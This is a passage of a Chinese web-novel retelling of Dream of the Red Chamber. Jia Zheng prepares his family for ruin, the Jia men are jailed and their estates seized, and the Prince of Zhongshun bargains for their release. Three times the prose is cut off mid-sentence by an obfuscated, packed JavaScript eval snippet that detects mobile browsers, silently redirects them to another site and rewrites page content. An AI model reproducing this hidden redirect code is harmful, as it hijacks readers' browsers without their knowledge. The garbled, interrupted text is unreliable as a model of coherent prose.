“如今都察院已将咱们结交泸定王的事上奏了,这可如何是好呢?”贾珍负手踱步,又不住叹气。 “还能怎么办,如今事情败露了,能怎么办呢?”贾琏也长叹一口气,说起话来也没了条理。 “依我说,不如去找二老爷和林姑父帮忙!”贾珍凑到贾琏旁边建议道。 贾琏却苦笑着摇摇头,“大哥哥只怕我死得不够快吧!竟然敢找二老爷和林姑父!”说罢,又是摇头又在桌上猛拍了两下。 “那你说,还有什么办法!”贾珍也着了急,一张脸离贾琏极近。 “事已至此,若再不告诉二老爷,只怕咱们这两家都要完了!”贾琏仰头叹道。 “二老爷人脉自然更广,再说都是自家事,他肯定要管的,你又何必愁成这样?不过骂一顿罢了!”贾珍看贾琏这副天塌了的样子,忍不住笑他。 “你不知道啊!”贾琏说罢,就起身离开了,也没有说要不要和贾珍一起去找贾珍商谈。 贾珍却还有点良心,追了上来,又搂着贾琏肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231217|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀道“怎么一个人走了,也不等我?” 贾琏似乎将这一年多来的许多事情串联了起来,终于发现其中的共通性。也发现了宁荣二府的隐患。 只是现在才意识到,是不是有些迟了?贾琏心里这样问自己,却不知如何回答。 * 自从两年前与母亲和妹妹在扬州分别后,薛蟠就一直留在金陵打点家里的生意。账面上的事和生意决策有宝钗负责,而薛蟠也深知自己的才干不足,只能做最简单的事情。他先在柜台做小伙计,待明白掌握了最基础的生意往来后,这才与管事们开始贩售货物。 而这却是他们这样家庭中最低级的事。要放在从前,薛蟠哪里看得上走南闯北的贩售货物呢?自从那日被薛姨妈和贾政好一番训斥后,薛蟠下了狠心,再也不像从前那样混日子。 这两年来,他一次也没有去过京城,一直勤勤恳恳为家里做事。而这样下了苦心,他也的确学到了许多生意上的事。也越来越像个成熟稳重的家族管事了。 只是比起家族继承人,他还差得太远。幸好王熙凤在金陵时,也时常与薛蟠一处,不忘点拨他许多事情。 薛蟠也不气馁,做出了一点成绩,就想着应当去京城看看母亲妹妹。他也没有特意去信,只从金陵带了一船货物,一路走,一路贩售,到了京城货物已卖去了泰半,剩下的便带到京城的各处铺子里。 他自己带了仆人丫鬟,身后还有满满三辆车,拉着他为母亲妹妹和荣府的长辈准备的土产礼物。两年的磨练,薛蟠如今也颇算是懂得人情事理了。 薛蟠闷声不响地回了家,到了院子也不让下人通报,自己轻手轻脚走到薛姨妈身后,还不让宝钗黛玉出口提醒。 薛姨妈正觉得黛玉和宝钗神情奇怪,待要回头时就看到面前一个高大的身影跪了下去。 薛姨妈眼中瞬间蓄满了泪水,她知道这是自己两年没有见面的儿子回家了。 “怎么还是这样不稳重?也不让人通报,还故意吓唬我呢!”薛姨妈将薛蟠扶了起来,却不忘责骂一句。 薛蟠却笑道“只是想着好玩,并没有故意要吓母亲!”说罢,又跪下磕了头。 “哥哥这几年长高了许多!”宝钗看着薛蟠,也只顾着笑了。 薛姨妈拉着薛蟠坐下,又亲自倒了杯茶给他喝,不住地抚摸他的脸颊,口中念着“长高了,也瘦了,倒像是你父亲年轻时的样子···”说到这里,薛姨妈的眼泪又止不住了。 黛玉也忙起身宽慰薛姨妈,又为她擦眼泪,劝道“姨妈莫要伤心,大哥哥这不是好好的回来了吗?” 薛姨妈也止住眼泪,又笑道“一路赶来累不累?怎么也不提前来封信呢?” 薛蟠笑道“也说不好哪天回来,不想让母亲和妹妹为我担心。” “哥哥这次带了些什么货物来,卖了多少了?”宝钗问道。 薛蟠正色道“仍像往常那样带的丝绸茶叶和南方常见的俏货,如今正是寒冬,我还带了一些岭南新鲜的果品和花卉,京城应当不少人喜欢的。带的货已有一半在沿路卖了,除去本钱,大约有五成利。剩下的我已经吩咐管事们带去咱们的铺子售卖。还有一部分是孝敬母亲和长辈们的。” “哥哥考虑的很周全,是我多此一问了。”宝钗听罢,也很是满意。心里惊讶哥哥竟然有这么大的变化,不禁又为母亲高兴。只是面上不显罢了。 “既如此,不如这就去那府里一趟,和老太太还有你姨夫姨妈见一见,你也应当拜个晚年才是!”薛姨妈笑道。 薛蟠也点头道“理当如此,我这就吩咐下人先收拾一部分土产出来,剩下的等明天再送过去吧。” “这两年我没有一天不惦记你的,但却只能狠了心放你在外面磨练。如今看来,当时并没有做错···”薛姨妈说到这里不禁又想起了从前那个顽劣的薛蟠。 薛蟠却也很愧疚,回答“先前让母亲妹妹和姨夫姨妈还有林姑父为我担心,实在不该,以后做儿子的断不会那样了···” 黛玉却打趣道“也不知道大哥哥这两年到底经历了什么,怎么变化这样大呢?” 薛蟠却红了脸,也不知道如何回答黛玉的问题,想了想,才认真道“应当是母亲的日夜教导起了作用,我也能够猛然醒悟吧!” “男儿应当去受一番磨练,若一直待在家里被百般宠爱着,难免不养出一些纨绔习气来。”宝钗却道。 薛蟠也点点头,回道“也只有真的去做了,才能体会到母亲和妹妹当时的苦心啊!” 87.福祸相倚可奈何 贾琏和贾珍本以为将事情如实告诉贾政,面临的会是贾政的怒火以及一次责骂。 却没有想到贾政只是很严肃地问了几句话,就让他们走了。这倒让贾琏和贾珍摸不着头脑了。 而他们没想到的是,事情远比他们描述的更严重。 贾政已经从林如海处得知了实情,皇帝知道此事后虽没有到勃然大怒的程度,却也立刻吩咐人去调查是否真实。 这场暴风雨马上就要来了,贾政叹道。 当初让林如海将这事报了上去,使出这招釜底抽薪,贾政就是想试探皇帝的态度。 贾琏和贾珍结交泸定王的事许多人都知道了,而皇帝也迟早都要知道。倒不如由贾政来决定这件事是如何汇报到皇帝面前的。总比被旁人上报,到时措手不及要来的好一些。 贾政在心里又反复思考着若出了事要如何解决。正深思时,却听到脚步声。 抬头一看,王夫人笑盈盈走了进来,看他抬头,就解释道“蟠儿回京了,这会儿都在老太太那里,老爷不如也去热闹热闹?或者一会儿让他们过来这边···” “不妨事的,咱们这就过去吧!”贾政起身笑道,很是自然地牵了王夫人的手,二人就往外走。 “总是忘记穿件厚衣裳!”王夫人说罢就接过丫鬟递来的衣服,为贾政穿好。 贾政因心里有事,就忘了加衣服,此时被王夫人提醒了,似乎有种心事外露的紧张,就解释道“刚才想事呢,一时忘了···” “我也知道老爷想事呢,只是不要这样急急忙忙的,我也没有催你。”王夫人也没多想,就笑道。 贾政却正色道“夫人说的是,我记住了。” “小事而已,老爷却当作正经事来说,我也不知道说什么好了。”王夫人无奈笑笑,也再没有牵扯其他的,只是说了些薛蟠的事情给贾政听。 夫妻二人相携着来到贾母处,贾政见了薛蟠如今的变化也很高兴。又随意说了些家常,贾政就找了个借口离开了。贾政刚走一会儿,就让迎春的小丫鬟去叫宝钗。 不过都是借口罢了,宝钗跟着小丫鬟来到了贾政的书房,一路上也没有多问。 “宝钗,我有事想找你帮忙。”贾政也不兜圈子,直言道。 “姨夫若有事情直接吩咐就是了,哪里要这样客气呢?”宝钗正色道。 “坐下说吧。”贾政示意宝钗坐在自己旁边,就吩咐屋里服侍的人都出去,又让书文远远守着,不让别人进来。 “贾家可能要出事了。”贾政低声道。 宝钗面露惊讶,忙问道“姨夫既这样说,想必是不好的···” 贾政点点头,又压低声音道“具体如何现在却不方便告诉你,只是可能会很严重,甚至到了抄家的地步···” 宝钗端着茶杯的手忍不住颤了颤,犹豫一会儿才道“若是这样,可怎么办呢···”宝钗也是才十几岁的女孩,也只是听说过这样的事。此时只能勉强自己镇静。 “我怕到时候府里一片混乱,老太太年纪大了,你姨妈一个人又怕她支撑不住,所以想让你帮忙···”贾政压低声音道。 “那我一会儿就搬过来,和探春她们住到一起。”宝钗忙表示道。 贾政却摇了摇头,说道“我想让你们搬出去···” 宝钗立刻明白了贾政的意思,问道“姨夫担心到时候我们也受了牵连?” 贾政点了头,又道“你们家在京城也有几处宅子,我想让你找个借口搬出去,但是不能让别人起疑心。到时你时刻留心我和你林姑父传来的口信。若这边出了事,你们及时过来,将老太太还有你姨妈,还有姐妹们先带去你们那里安置···” 宝钗应下了,又问道“姨夫你呢?” 贾政却笑道“我也不知道,也许下狱吧!若情况好一些,也许撤了官贬为平民?” “那女眷们若也入狱了呢?”宝钗严肃问道。 “若真到了这样地步,恐怕你也没有办法了。”贾政又道“我也提前说与了你林姑父,到时他自然也会出手帮助的,你不需要太担心。” “哪里不担心呢?这样的大事···”宝钗也有些着急了。 “情况若好一点,也许就是贬为平民,但不会下狱,到时自然需要你们帮忙。但若真到了无可挽回的地步,只能让你帮忙照顾一下老太太你姨妈和姐妹们了!”贾政又道。 这是贾政所有推演中最坏的结果。只是他心中还保留了一线希望,他认为皇帝也许会抄了宁府,并不会将荣府也抄了。 此时宝钗满面严肃,心事重重,已经开始计划出事后自己要怎么做了。 贾政也看出宝钗的心事,便宽慰道“我这么说也只是防患于未然,也许并不会出什么事,却让你白忙一场了。” 宝钗挤出一个笑容,却安慰贾政道“姨夫既然信任我,告诉我这件事,无论到时候是何等情况,我一定会竭尽所能,保护长辈和姐妹们。” “难为你了!”贾政轻轻拍了拍宝钗的肩膀,又道“除了你林姑父和你,我没有告诉任何人。毕竟事情还没有发生,我也怕她们担心啊!” “老太太年纪大了,姨妈也事务繁忙,若真提前告诉她们,恐怕反而要生一场病的。”宝钗也很理解贾政的做法。 “宝钗,这是这些年我手里的一些钱,虽然不多,但也是全部了。若真的···你尽管拿去用吧。”贾政说着,就拿出几张银票给了宝钗。 如今这钱放在自己这里反而要招祸的,不如让宝钗拿着。 “一切都不重要,只要能将家人的性命保全。哪怕千金散尽,一家人在一处,总有东山再起的时候。”贾政又嘱咐道。说罢,又拿出两封信递给宝钗。信封上写明了是给谁的,贾政不需多言。 宝钗郑重点了头,手里紧紧捏着贾政递给她的银票和信件,只觉得重任在肩,前途茫茫。 * 元宵节刚过,薛家人就搬出了贾府的梨香院。史家也正式启程,要举家迁回金陵。 贾政和王夫人还去渡口亲自送了史家人。史鼎如今也很豁达,并无太多悲戚,似是认清了家族落败的命运。 只是湘云见了王夫人却很是伤心,只不好表现出来。王夫人也很是宽慰了几句,又将姐妹们送给她的东西都拿给湘云看,这才引得她破涕为笑了。 “别难过,姐妹们总有再见的时候!”贾政也劝了一句。湘云天性乐观,此时也不再那么忧愁,又抱了王夫人一会儿,这才上了船。 目送史家的船离了渡口,贾政这才收回远眺的目光。 贾政牵着夫人上了马车,看到她仍是面带忧愁,贾政却笑道“外面那样冷,再哭一会儿眼泪就冻住了···” 王夫人擦了眼泪,没有理会贾政。 “不要难过了好不好?”贾政伸手将夫人揽到怀里,又拿过她手中的帕子,为她擦了眼泪。 贾政感到王夫人环在他腰间的手臂使了劲,就捧了她的脸,柔声道“夫人不只为今天的事难过,对不对?” “史家走了,薛家也慢慢败了,哥哥又是那么固执,我只怕咱们家终有一日也会···”王夫人叹道。 “不如咱们也搬回金陵,好不好呢?”贾政轻笑道。 “无缘无故的,为何搬家呢?”王夫人道。 贾政没有回答,却也抱紧了夫人。二人沉默了一会儿,贾政又道“夫人这几晚总睡不安稳,以后记得让丫鬟时刻守在跟前,免得梦魇或者着凉了···” “为何这样说呢?”王夫人觉得奇怪,就问道。他们二人从来都是一起睡的,贾政也常会在她做了梦时迷糊抱住她,柔声宽慰。本不需要丫鬟守着的。 “只是随便叮嘱罢了···”贾政想了想又说道“宝玉日后不论读书能不能有个结果,夫人也都不要生气,大不了让他做个富贵闲人就罢了。夫人只守着孩子们,团团圆圆就好。” “探春是个有主意的,你不要着急让她出嫁,最好是看她的意愿,一辈子不嫁人也不妨事的···珠儿和探春都很可靠,以后凡事你听他们两个的就好。” 贾政不管王夫人的反应,自顾自说道“再有麻烦事的话,只管去找如海,他自然都会帮忙的。还有妹妹和宝钗,你别看宝钗年纪小,处事却极稳妥周到,少有人比得上···” 贾政感到王夫人用力晃了晃他的肩膀,这才回过神来,柔声道“夫人怎么了?” 却看到王夫人的眼泪簌簌落下,颤声道“老爷何故说这些怪话!” 贾政却笑了笑,又道“随便说说,夫人随便听听罢了。”说着又为夫人擦去了眼泪,只是王夫人的眼泪却如何也擦不尽。 “以后不要这样哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237972|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,哭坏了身子可怎么办呢?我也···”贾政说到这里,却觉得喉头哽咽,强忍住自己的眼泪,一句话都说不下去了。 * 夫妻二人回了家,又去贾母处坐了一会儿,贾政说了几句史家的事。他看到王夫人仍有些呆呆的,像没有缓过来,就和贾母说王夫人累了,又牵着她回了屋子。 待将王夫人扶着躺下时,却被她拉住手臂。王夫人轻声道“老爷也累了,不如躺着歇一会儿···” 贾政本来想去书房待着,此时见王夫人这样凄楚,哪里忍心放着不管,便也脱了外衣鞋袜,与她一起躺着了。 又解释道“夫人莫要多心,方才不过是随口说的···” 王夫人也不说话,只紧紧抱着贾政。贾政从没有见过王夫人这样的依恋,更是心软,便抱着她,像哄小孩那样哄她睡觉。 “老爷,还记得我们从扬州去金陵的那一天吗?”王夫人忽然问道。 虽是三四年前的事了,贾政却清晰记得当时靠在栏边的夫人,江风吹乱了她的头发,她哼着一支金陵小调,又安静听他说着一些不着边际的话。 那是贾政第一次明白什么叫做与生俱来的悲悯。王夫人其实听不懂他说的怪话,但她却很能理解他的情绪,也非常愿意将他带离那些悲伤的情感。在某种程度上,是王夫人让贾政顺利在这个世界扎下根来的。 贾政笑了笑,柔声道“我唱那支曲子给夫人听,好不好呢?” 王夫人点了点头。 * 事先的担忧或是来自合理的推测,或是出于直觉。贾政的推测对了一半,直觉也对了一半。 皇帝若真做起事来,总是雷厉风行且不留情面的。 贾政当时还在衙门,大理寺的人直接拿了圣旨,将他下了狱。只说他勾结外官,现需入狱审查。贾政也没有丝毫的抵抗,在皇权面前,谁可以抵抗呢? 旁边的书文看到贾政的手势,立刻按照先前他吩咐的,去林家和薛家报信。 同时,宁府的贾珍贾蓉和荣府的贾赦贾琏也一一被抓。 带着圣旨的官员,身披重铠的士兵此时是绝对的铁面无私。无论贾赦和贾珍如何求情,曾受过贾赦恩惠的官员如今视若无睹,甚至吩咐士兵要比往常更严格。 贾政戴着枷锁一步步走着,仍盘算着眼前的事。如今只是抓人,想必是先将男丁抓起来审查,还没有到抄家的地步。只是又想到老太太夫人孩子们若知道了这事,难免心急如焚。 幸好还有林如海薛姨妈和宝钗帮忙宽慰。贾政略略松了口气。 寒风刺骨,枷锁又重,脚镣磨的贾政脚腕出了血。仅仅是这样的折磨,贾政就险些叫出声,果真是享受惯了的身体,哪里受得住一点点痛苦呢?贾政忍不住自嘲道。 待被关押到了狱里,贾政却忍不住露出一个惨笑。这样的地方,怕只有蟑螂老鼠才愿意时常光顾吧。 如今的贾政大概就是狱卒眼中的老鼠了。 不一会儿,贾赦贾琏贾珍贾蓉也被狱卒押了进来,与贾政挤在一间牢房里。 贾赦见贾政头发凌乱衣袍沾满泥水,孤单单坐在稻草堆里,却忍不住哭了。他满心以为这个弟弟在外面还可以为他们四下奔走的,如今倒像是失去了最后的希望那样,贾赦老泪纵横。 贾珍和贾琏自然知道祸事全因他们而起,此时也不敢说话。 贾琏先扶着贾赦坐下,贾珍也挨着贾琏坐在了墙角。只有贾蓉辈份最低,更是毫不知情的,也不敢坐,又忍不住呜呜咽咽哭了起来。 贾珍没好气地骂了一句“哭什么哭,又不是号丧呢!” 被自己父亲骂了,贾蓉哪敢回嘴,颤巍巍坐在了贾珍对面,没敢再说话流泪。 * 贾赦贾珍等人都是在家里被带走的,消息很快传遍了宁荣两府。 当时王夫人正在贾母处陪着,李纨和探春也在。突然听到外面有声响,贾赦那边的丫鬟竟然跌跌撞撞跑了进来。 王夫人边等着丫鬟过来,边摸着颈间的佛珠,低头看时,才发现这串佛珠竟然是她之前给贾政的那串。 小丫鬟跪到贾母跟前,口中念着“大老爷和琏二爷被大理寺的人抓走了···” 王夫人不自觉使了力,佛珠竟然断了,珠子一颗颗滚到了地毯上,没有发出一点声音。 88.山重水复疑无路 王夫人忙回头看贾母。贾母已经是浑身乱颤,泪流满面。李纨和探春忙扶着她坐下来,鸳鸯琥珀赶忙吩咐人去准备参汤丸药,以备不时之需。 “二老爷呢?”王夫人颤声问道。 小丫鬟摇了摇头,回道“并不知道二老爷怎么样,只是宁府的珍大爷和小蓉大爷也被抓走了···”小丫鬟说完,怕被怪罪,忙不住地磕头。 王夫人和探春很快镇定下来,又派人去贾赦院里和宁府,先将邢夫人与尤氏接过来。贾政去衙门当差并不在家,王夫人心里担忧,却也不敢再对贾母说。 贾母已被鸳鸯和李纨服侍着躺下了,王夫人略略放了心。不一会儿贾珠听到消息也赶了过来。一家人都在贾母处,紧张地等待着外出打探消息的人。 王夫人最先等来的是林如海薛姨妈和黛玉宝钗,跟在他们后面的是贾政的小厮书文。王夫人看到书文就不敢开口问了,她似乎已经知道发生了什么,只呆坐着,一个字都没有说。 贾珠立刻迎了上去,问林如海道“姑父可知道老爷在衙门怎么样了?” 林如海微微摇头,轻声道“和大老爷一样,也下狱了···” 此时黛玉探春和薛姨妈都紧挨着王夫人,生怕她承受不住这样的打击。 “母亲莫要心急,林姑父和姨妈都在这里,很快就会有父亲的消息的。”探春劝道。 “探春说得对,嫂子不要担心,我已派人去打听情况了。”林如海此时也来安慰王夫人。 薛姨妈在王夫人身旁,神情紧张地看着姐姐,轻声道“姐姐,你说句话吧!哭两声也罢了,不要憋在心里。” 薛姨妈话音刚落,王夫人却扯出一个笑容,轻声道“哭什么呢?哪里就到了生死攸关的时候了?”说罢,王夫人用帕子擦去了眼泪,就站了起来。 “如海,老爷是不是提前知道会发生这件事?”王夫人问道。 林如海点了点头,回道“一个多月前,存周就有预感,也叮嘱了我一些事。”林如海并没有将全部的实话说出,仍保留了部分。 王夫人却道“那么我想老爷应该心里已经有了成算吧!”说罢叹了口气,又在胸口轻拍两下,似乎是强迫自己冷静,相信贾政的安排。 “探春你先稳住府里的下人们,让他们不可胡乱编排,此时要更加谨慎行事。”王夫人又叮嘱探春道。 “我先去看看老太太,如海,妹妹,麻烦你们在这里先等一会儿了···”王夫人说罢,见林如海和薛姨妈点头应了,自己又去里间看贾母去了。 鸳鸯给贾母喂了一颗安神的丸药,此时她已经睡着了。王夫人又叮嘱鸳鸯和李纨好好服侍着,切不可提到外边的事。 王夫人从里间出来后,就对众人道“咱们都聚在这里恐怕老太太担忧,不如都去荣禧堂等着吧!” 众人刚在荣禧堂坐下,林如海派出去打听消息的小厮就来了。 “回老爷的话,如今两位老爷和珍大爷琏二爷都在狱里,被严加看管着。听说还没有动用刑罚,只是再多的消息也打听不到了。”林府的小厮回道。 林如海听罢,又吩咐道“你和管家拿了钱,再去派人打通狱卒,一定送一些吃食衣物进去,看能不能与二老爷说几句话,切记切记!” 小厮领了任务,立刻去办事了。 薛姨妈又是不住地安慰王夫人,只怕她万一撑不住。只是王夫人此时却冷静了下来,反而开始吩咐起为尤氏和邢夫人安排屋子安顿下来的事。 当晚,薛姨妈就在王夫人处歇息,宝钗黛玉和探春一处。 * 林如海记挂着贾政,当晚自己竟然带了人偷偷去了一趟大牢。他如今官居左都御史,却能不顾身份,做这样的事,也是真心为贾政担忧的。 晚上狱卒看管都很松散,林如海根本不需要表明身份,只送了几两银子,狱卒就放他进去了。 贾政也预料到晚上也许有人要来找他,不曾睡去。牢房里灯火昏暗,贾政却很敏锐地听到了不同于狱卒的脚步声。 “存周···”林如海低声道。 贾政立刻起身来到门口,压低声音道“你怎么亲自来了!我还好呢!”他又回头看了看贾赦等人,也不知是否入睡,只听到几声低低的鼾声。 “不知道家里怎么样?”贾政又问道。 “你且放心,暂时还没有听到要抄家的传闻。”林如海答道。 贾政略微放了心。往往皇帝若有心彻底清算,自然是抓犯人与抄家同时进行,如今只抓人下狱,说明皇帝还有别的打算。 “你可听到王爷又什么动静没有?”贾政压低了声音问道。 “还不知道,也许明日早朝时大概能听到一二。”林如海答“我和北静王肯定是要为你作保的,只是你大哥和宁府的,恐怕不好脱罪···” “我想最坏的结果就是抄家削爵,男丁流放吧···”贾政低声道。 “也许会这样,就怕王爷横插一脚···那就不妙了。”林如海仍有些担忧忠顺王爷。 贾政却微微摇头,说道“我想他并不会落井下石的···” “他可不是什么正人君子。”林如海叹道。 “留着我自然会有用处的···”贾政轻轻笑了笑。 * 若说这些世家大族真的做了什么罪无可赦的事情,恐怕也都没有。 家族走到末世,虽然子孙们的品行比不上最初的标准,但他们的罪过也没有到了罄竹难书的地步。 若说结交外官,也是个模棱两可的词语。一切的一切,都要看皇帝的态度。贾政入狱的第二天,便有官员在早朝时主动为贾家说好话,比如贾政在工部的同僚们,当然也有落井下石的。 林如海虽有心表明态度,但是看着皇帝神色淡淡,感觉此事有几分蹊跷,他先没有发表意见。 果然,皇帝只是平静地问了忠顺王爷,让他再查查贾家的事情。 忠顺王爷得了圣旨,似乎立刻想要将宁荣两府踏平。他带了两队兵马,立刻将两府的财产抄了个彻底。动产被搬走,两处府邸都贴了封条。 虽然表面上忠顺王爷行动狠戾,而林如海却肯定了,忠顺王爷只是做做样子。 无家可归的两府众人,只好先安置在了薛家与林家的几处宅院。 * 贾母一直昏睡着,其间醒过两次,但精力不济又很快就睡下了。 王夫人心里同时担忧着贾政和贾母,对家产被查抄的事,反而并没有那么挂怀了。 而最冷静的人,却是探春和宝钗。她们两个没有落一滴泪,只是有条不紊地打点事情。吩咐下人带好衣物,到了薛家便开始收拾东西安置,不忘关注长辈们的情绪。 宝玉似乎更呆了,先是哭个不停,但刚到了薛家却开始写起字来。黛玉很是担忧,劝了几句,也并没有效果,只好一直守在旁边,怕宝玉再出了事,更是雪上加霜了。 宝钗将贾政给她的钱全部给了王夫人。 王夫人却让她交给探春,这便是直接表示以后家里的事全由探春来管了。 两府上千的奴仆,如今不能像往日那样全部留着了。探春和王夫人商议过后,先将荣府这边的下人遣送了大半。并没有要他们的赎身银子,反而还每人送了二两做盘费。 留下的是几代人都在贾府为奴的,还有十来家陪房,他们也没有家,也不想离开贾府,探春就先留着他们了。尤氏也同探春一样,遣散了多半奴仆,只是她毕竟担心贾珍之后责怪,也不敢送银子给他们,只是白送了身契。 探春忙碌了七八日,就将荣府的奴仆裁剪到了一百多个。如今主子不过十余人,有这一百多人也足够使了。 除此之外,探春还派人去了金陵,让他们先将祖宅打扫出来,预备着之后万一搬家回去住。她虽有心要在金陵购置田产,但此时还不到时机,不可轻举妄动。 贾母很快也清醒了过来,虽然仍有些虚弱,但却并没有大病。在王夫人和薛姨妈的劝说下,贾母心里也不像起初那么忧虑。她手里这些年也有一笔钱,当日抄家虽被抄走了大半,还有一些是鸳鸯打理的,此时也都让她拿了出来给王夫人用。 * 被关押了半个多月,却只知道家被抄了,再没有丝毫消息传来,贾赦最先受不住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243240|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然外面有人送了些吃的和衣物来,只是这样阴暗潮湿的环境,贾赦长期被酒色掏空了的身子如何经受得住? 贾赦起先开始打冷颤,过了一夜就开始发烧,说胡话。贾政不想他送命,便贿赂了狱卒,让他们送药进来。自己也不停劝贾赦,让他想开些。 只是贾赦的病没有好转,幸而林如海派人送来了一些西洋药物,贾赦吃罢,也就不再发烧了。 贾政心里暗暗想着,如今都快二十多天了,该惩戒示威的也做了,忠顺王爷应该就要来了。 贾赦退烧后的第三天,中午时分,阳光慷慨地照进了这间小小的囚房。贾政迎着光,将手放到光线下看了看。 从前平滑细腻的手如今满是皲裂的伤口,指甲缝里全是污泥。这里没有镜子,不过贾政也并不想知道自己的脸是个什么样子。 贾政看到一只小蜘蛛正爬来爬去织着网,他伸出食指,让蜘蛛爬到了自己手上,看了一会儿,又让它下去了。贾政微微笑了笑。 两个狱卒迈着沉重的步子走到贾政这间囚房门口。 哗啦一声响,锁链被取了下来,狱卒沉声道“犯官贾政,跟我出来。” 贾赦睁开了浑浊的眼睛,看着自己的亲弟弟。 贾政在他肩头轻拍了一下,轻声道“大哥不用担心,我先出去看看。”说罢,又看了一眼贾琏,没说什么,贾政起身走了出去。 狱卒将贾政带到一间干净的囚房,又扔了一套衣服给他,嘱咐道“快点擦洗一下,换了衣服就出来。” 贾政换好衣服,随着狱卒的脚步,走出了大牢。 阳光洒满走廊,空气中带了点早春的清冷寒气,贾政走进了一间亮堂堂的屋子。 “存周,别来无恙啊!” 贾政虽没有私下和忠顺王爷打过交道,但也远远见过几次,听他说过话。此时一听声音,贾政冷静了下来。 “王爷别来无恙。”贾政拱了拱手,却因为手腕处的伤口痛的扯了一下嘴角。 “怎么这样奇怪的表情,存周是在怪罪本王吗?”忠顺王爷转过身,笑吟吟看着贾政。 “伤口有些疼,请王爷不要怪罪。”贾政轻笑道。 “不妨事,请坐吧!”忠顺王爷手一挥,贾政便坐了下来。 “存周知道本王找你为了何事吗?”忠顺王爷直直盯着贾政,想从他的神情中看出害怕。 贾政微微摇头,回答“并不知道王爷有何事找我这个犯人。” “这可不是聪明人该说的话。”忠顺王爷端起茶杯,轻轻吹去了浮起的茶叶。 “也许王爷认为我是个有用的人,有事让我来办吧!”贾政又道。 “这句话总算说对了!”忠顺王爷道“只是我今日看到存周的样子,却完全想不到先前那些事是你做的···” “也许这就是人不可貌相吧!”忠顺王爷不待贾政回答,自己接了一句话。 “货船的事,你知道多少?”忠顺王爷仍带着笑,手里捏着一串佛珠。 终于切入正题了,贾政暗想。 “我所知道的,就是那只船上所能看到的。”贾政回道。 “你若再有半句假话,好好想一想两府里上千人口的性命···”忠顺王爷收了笑容。 “鸦片的事你都知道了?”忠顺王爷直接问道。 贾政点了点头,“我还知道王爷的货源在何处,也知道其中的利润有几成。”贾政特意夸大了自己知道的内容。 “你杀了突厥的塔列将军,还拿走了我和他的密信···”忠顺王爷转移了话题。 “他若死了也是因为内乱罢了,与我有什么关系?”贾政说罢也喝了口茶。 “不过是个蠢人罢了!死就死了,只是你不该拿这件事威胁我。”忠顺王爷脸上虽还挂着笑容,但贾政看出了两分压迫的意味。 “我只是为王爷扫除隐患罢了,寄信给王爷本来是想邀功的,却没想到好心做错事了···”贾政笑了笑。 忠顺王爷却摇摇头,笑道“若你答应我下面这件事,其他的事我都可以既往不咎···” “王爷请说!”贾政笑道。 89.柳暗花明又一村 “本来定好日子,二月底要运来广州的一只货船,却在半路上被倭人抢了。我想让你去一趟,若不能抢回货物,也要将倭人的首领给我活捉回来。”忠顺王爷正色道。 “斗胆问一句,这货物和那次的货物一样吗?”贾政问道。 忠顺王爷点了点,回道“你无需担心,圣上也知道此事的,这也是圣上的意思。” 贾政听了便点头应下了。 “你若答应了这件事,一会儿我就吩咐人将你们家的人都放了,家产自然也全数还给你们。”忠顺王爷笑着拍了拍贾政的肩膀。 “结交外官的罪名···”贾政轻声问道。 “告诉你也不妨事的,泸定王身边早就有圣上的亲信,那些消息也都是圣上派人放出去的,没想到真有傻子上套,天真地以为泸定王可以东山再起了!真是可笑!”忠顺王爷又道“你那两个侄儿,死罪可免,该有的惩罚可少不了。” “烦请王爷明示!”贾政起身拱手道。 “你既为我办事,也算我手下的人,不需这样拘谨。”忠顺王爷笑道“据圣上的意思,是要将他们革职流放的,宁府的家产由你侄孙继承,你兄长的爵位虽可以保存,只是他也没有了子嗣,日后自然还是你儿子的。” “多谢王爷体谅!只是侄儿身体都不太好,若是能流放到金陵,也可让老母亲少几分担忧···”贾政又道。 “小事一桩!”忠顺王爷笑道。忽又叫道“雨村,出来见见!” 贾政抬头看去,果然是贾雨村从里间走了出来。贾政虽心里厌恶此人,面上仍很和善,笑道“雨村,咱们又见面了!” “世叔如今自愿投身到王爷麾下,咱们日后便都为王爷尽心尽力做事了。”贾雨村说罢,又从袖中拿出一张银票递给贾政,说道“不过是先前从贾琏手中拿来的,如今物归原主吧!” 忠顺王爷也笑道“存周先收着吧,就当我为这次的事向你赔罪了!”姿态实在是谦和。 贾政也不谦让,收起银票,又道“王爷想让我什么时候起身呢?” “你回了家先处理好家务事,半个月后启程去广州也来得及。”忠顺王爷道“到时我让雨村做你的副手。” 贾雨村朝贾政拱手笑道“烦请世叔提携了!” * 忠顺王爷说到做到,立刻就放了贾政贾赦等人。 